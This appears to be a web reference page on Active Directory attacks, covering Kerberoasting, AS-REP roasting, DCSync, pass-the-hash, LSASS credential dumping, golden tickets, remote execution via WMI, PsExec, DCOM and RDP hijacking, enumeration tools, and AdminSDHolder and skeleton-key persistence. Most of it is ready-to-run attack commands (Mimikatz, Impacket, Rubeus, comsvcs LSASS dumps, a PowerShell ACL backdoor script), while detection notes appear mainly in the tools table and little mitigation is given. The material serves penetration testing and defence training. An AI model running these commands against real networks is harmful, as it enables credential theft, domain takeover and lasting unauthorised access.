Active Directory Attack Reference
Kerberoasting, AS-REP Roasting, DCSync, Pass-the-Hash, Golden/Silver Tickets, BloodHound, ACL abuse — technique, tools, commands, detection, and mitigation for each.
Credential-Based AD Attacks
Request Kerberos service tickets for any SPN-registered account — tickets are encrypted with the service account's NTLM hash and can be cracked offline. No elevated privileges required; any domain user can request.
GetUserSPNs.py domain.local/user:pass -dc-ip DC_IP -request -outputfile hashes.txt
# Rubeus (from Windows)
Rubeus.exe kerberoast /nowrap
# PowerView
Get-DomainUser -SPN | Get-DomainSPNTicket -OutputFormat Hashcat
# Crack with Hashcat (mode 13100)
hashcat -m 13100 hashes.txt rockyou.txt
Accounts with "Do not require Kerberos preauthentication" enabled can have their AS-REP encrypted hash requested without any credentials — crackable offline. Requires knowing the username only.
GetNPUsers.py domain.local/ -usersfile users.txt -no-pass -outputfile asrep.txt
# Rubeus
Rubeus.exe asreproast /nowrap
# Crack (mode 18200)
hashcat -m 18200 asrep.txt rockyou.txt
Impersonate a Domain Controller using MS-DRSR (Directory Replication Service Remote Protocol) to request credential data for any account including KRBTGT. Does not require code on the DC — runs over the network.
lsadump::dcsync /domain:domain.local /user:krbtgt
# Impacket (from Linux)
secretsdump.py domain.local/DA_user:password@DC_IP
# Requires: DS-Replication-Get-Changes + DS-Replication-Get-Changes-All rights
Use the NTLM hash of a user's password (obtained via LSASS dump, SAM extraction, or DCSync) to authenticate without knowing the plaintext password. Works against NTLM authentication endpoints — RDP, SMB, WMI.
sekurlsa::pth /user:Administrator /domain:domain.local /ntlm:HASH
# Impacket
wmiexec.py -hashes :HASH domain.local/Administrator@TARGET
psexec.py -hashes :HASH domain.local/Administrator@TARGET
smbexec.py -hashes :HASH domain.local/Administrator@TARGET
# CrackMapExec
cme smb TARGET -u Administrator -H HASH --exec-method wmiexec
Dump credentials from LSASS (Local Security Authority Subsystem Service) process memory to extract plaintext passwords, NTLM hashes, and Kerberos tickets.
sekurlsa::logonpasswords
# Task Manager method (interactive)
# Right-click LSASS in Task Manager → Create dump file
# ProcDump (Microsoft signed binary — LOLBin)
procdump.exe -ma lsass.exe lsass.dmp
# Comsvcs.dll (no AV tools needed)
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump PID lsass.dmp full
# Parse offline dump with Pypykatz (Linux)
pypykatz lsa minidump lsass.dmp
Forge a Kerberos Ticket Granting Ticket (TGT) using the KRBTGT account hash — valid for any user, any group, any duration. Provides persistent domain-level access that survives password changes of regular accounts.
# Step 1: Get KRBTGT hash via DCSync
lsadump::dcsync /domain:domain.local /user:krbtgt
# Step 2: Forge golden ticket (Mimikatz)
kerberos::golden /user:FakeAdmin /domain:domain.local /sid:S-1-5-21-XXX /krbtgt:KRBTGT_HASH /id:500 /ptt
# Step 3: Use the ticket
dir \\DC\c$
psexec \\DC cmd.exe
Lateral Movement Techniques
Use Windows Management Instrumentation to execute commands on remote systems. Requires admin credentials or hash. Leaves fewer artifacts than PSExec — no service creation.
wmiexec.py domain.local/Admin:Pass@TARGET 'whoami'
wmiexec.py -hashes :NTLM_HASH domain.local/Admin@TARGET 'cmd.exe'
# PowerShell (Windows)
$cred = Get-Credential
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList 'calc.exe' -ComputerName TARGET -Credential $cred
# CrackMapExec
cme wmi TARGET -u Admin -p Pass -x 'whoami'
Execute commands on remote systems via SMB — copies executable to ADMIN$ share, creates and starts a Windows Service. Leaves significant artifacts (service creation, event log).
psexec.py domain.local/Admin:Pass@TARGET cmd.exe
psexec.py -hashes :NTLM domain.local/Admin@TARGET cmd.exe
# SysInternals PSExec (original)
psexec \\TARGET -u Admin -p Pass cmd.exe
# Alternative — SMBExec (service-less)
smbexec.py domain.local/Admin:Pass@TARGET
Abuse Distributed COM objects to execute code on remote systems. Less monitored than WMI or SMB. Several DCOM applications support remote code execution: MMC20.Application, ShellWindows, ShellBrowserWindow.
$obj = [activator]::CreateInstance([type]::GetTypeFromProgID('MMC20.Application','TARGET'))
$obj.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,'/c calc.exe','7')
# ShellWindows
$obj = [activator]::CreateInstance([type]::GetTypeFromProgID('Shell.Application','TARGET'))
$obj.Windows() | ? {$_.FullName -like '*explorer*'} | %{$_.Document.Application.ShellExecute('cmd.exe','/c whoami','C:\Windows\System32',$null,0)}
Remote Desktop Protocol for lateral movement. Also: hijack existing RDP sessions of other users (requires SYSTEM privileges) to move laterally as that user without knowing their password.
mstsc /v:TARGET
# Session hijacking (requires SYSTEM)
# List sessions
query session /server:TARGET
# Hijack session ID 2 (no password needed if SYSTEM)
tscon 2 /dest:rdp-tcp#0
# Impacket RDP
rdp_check.py domain.local/Admin:Pass@TARGET
AD Enumeration Tools
| Tool | Purpose | Key Commands | Detection |
|---|---|---|---|
| BloodHound + SharpHound | Graph-based AD attack path visualisation — finds shortest path to Domain Admin | SharpHound.exe -c All --zipfilename loot.zip; Load into BloodHound UI |
Sysmon EID 1: SharpHound process creation. LDAP queries: high-volume enumeration. Network: LDAP/RPC to all DCs simultaneously. |
| PowerView | PowerShell AD enumeration — users, groups, ACLs, trusts, GPOs | Get-DomainUser; Get-DomainGroup; Get-DomainComputer; Invoke-ACLScanner |
PowerShell ScriptBlock logging (EID 4104): PowerView cmdlets. LDAP queries from powershell.exe. |
| ldapdomaindump | Dump AD via LDAP — outputs HTML/JSON/CSV reports | ldapdomaindump -u domain\user -p pass ldap://DC_IP |
Network: large LDAP query volume from single client. Failed LDAP binds if anonymous. |
| CrackMapExec (CME) | Network recon + lateral movement — SMB, LDAP, WMI, RDP | cme smb 192.168.1.0/24 -u Admin -p Pass --shares; cme ldap DC -u user -p pass --users |
Network: SMB scan to all hosts. Logon failures (EID 4625) from single source. CME signature strings in logs. |
| Kerbrute | Username enumeration via Kerberos pre-auth (no credentials) | kerbrute userenum --dc DC_IP -d domain.local users.txt |
Kerberos EID 4768 failures (Failure code 0x6 = user not found) in bulk from single IP. |
| enum4linux / enum4linux-ng | SMB enumeration — shares, users, groups, password policy | enum4linux -a TARGET; enum4linux-ng -A TARGET |
Null session connections to SMB. Excessive share enumeration from single IP. |
| Impacket Suite | Collection of network protocol tools — SMB, Kerberos, LDAP, DCE/RPC | GetNPUsers.py; GetUserSPNs.py; secretsdump.py; wmiexec.py; psexec.py |
Impacket user-agent strings in SMB. Kerberos requests with unusual client strings. Python signature in memory. |
AD Persistence Techniques
AdminSDHolder is a special AD object that controls ACLs of privileged groups. If an attacker adds themselves to AdminSDHolder's ACL, the SDProp process (runs every 60 min by default) propagates that ACL to all protected groups — giving persistent DA-equivalent access.
Import-Module ActiveDirectory
$acl = Get-Acl 'AD:CN=AdminSDHolder,CN=System,DC=domain,DC=local'
$user = 'domain\attacker'
$permission = [System.DirectoryServices.ActiveDirectoryRights]::GenericAll
$ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule((New-Object System.Security.Principal.NTAccount($user)),$permission,[System.Security.AccessControl.AccessControlType]::Allow)
$acl.AddAccessRule($ace)
Set-Acl -AclObject $acl 'AD:CN=AdminSDHolder,CN=System,DC=domain,DC=local'
Patch LSASS on a domain controller to accept a master password ("skeleton key") for any account — all existing passwords still work. Requires DA privileges and physical/RDP access to DC. Does NOT survive DC reboot.
privilege::debug
misc::skeleton
# After injection, any user can log in with password 'mimikatz'
# Original passwords still work too
# Detection: reboot DC to remove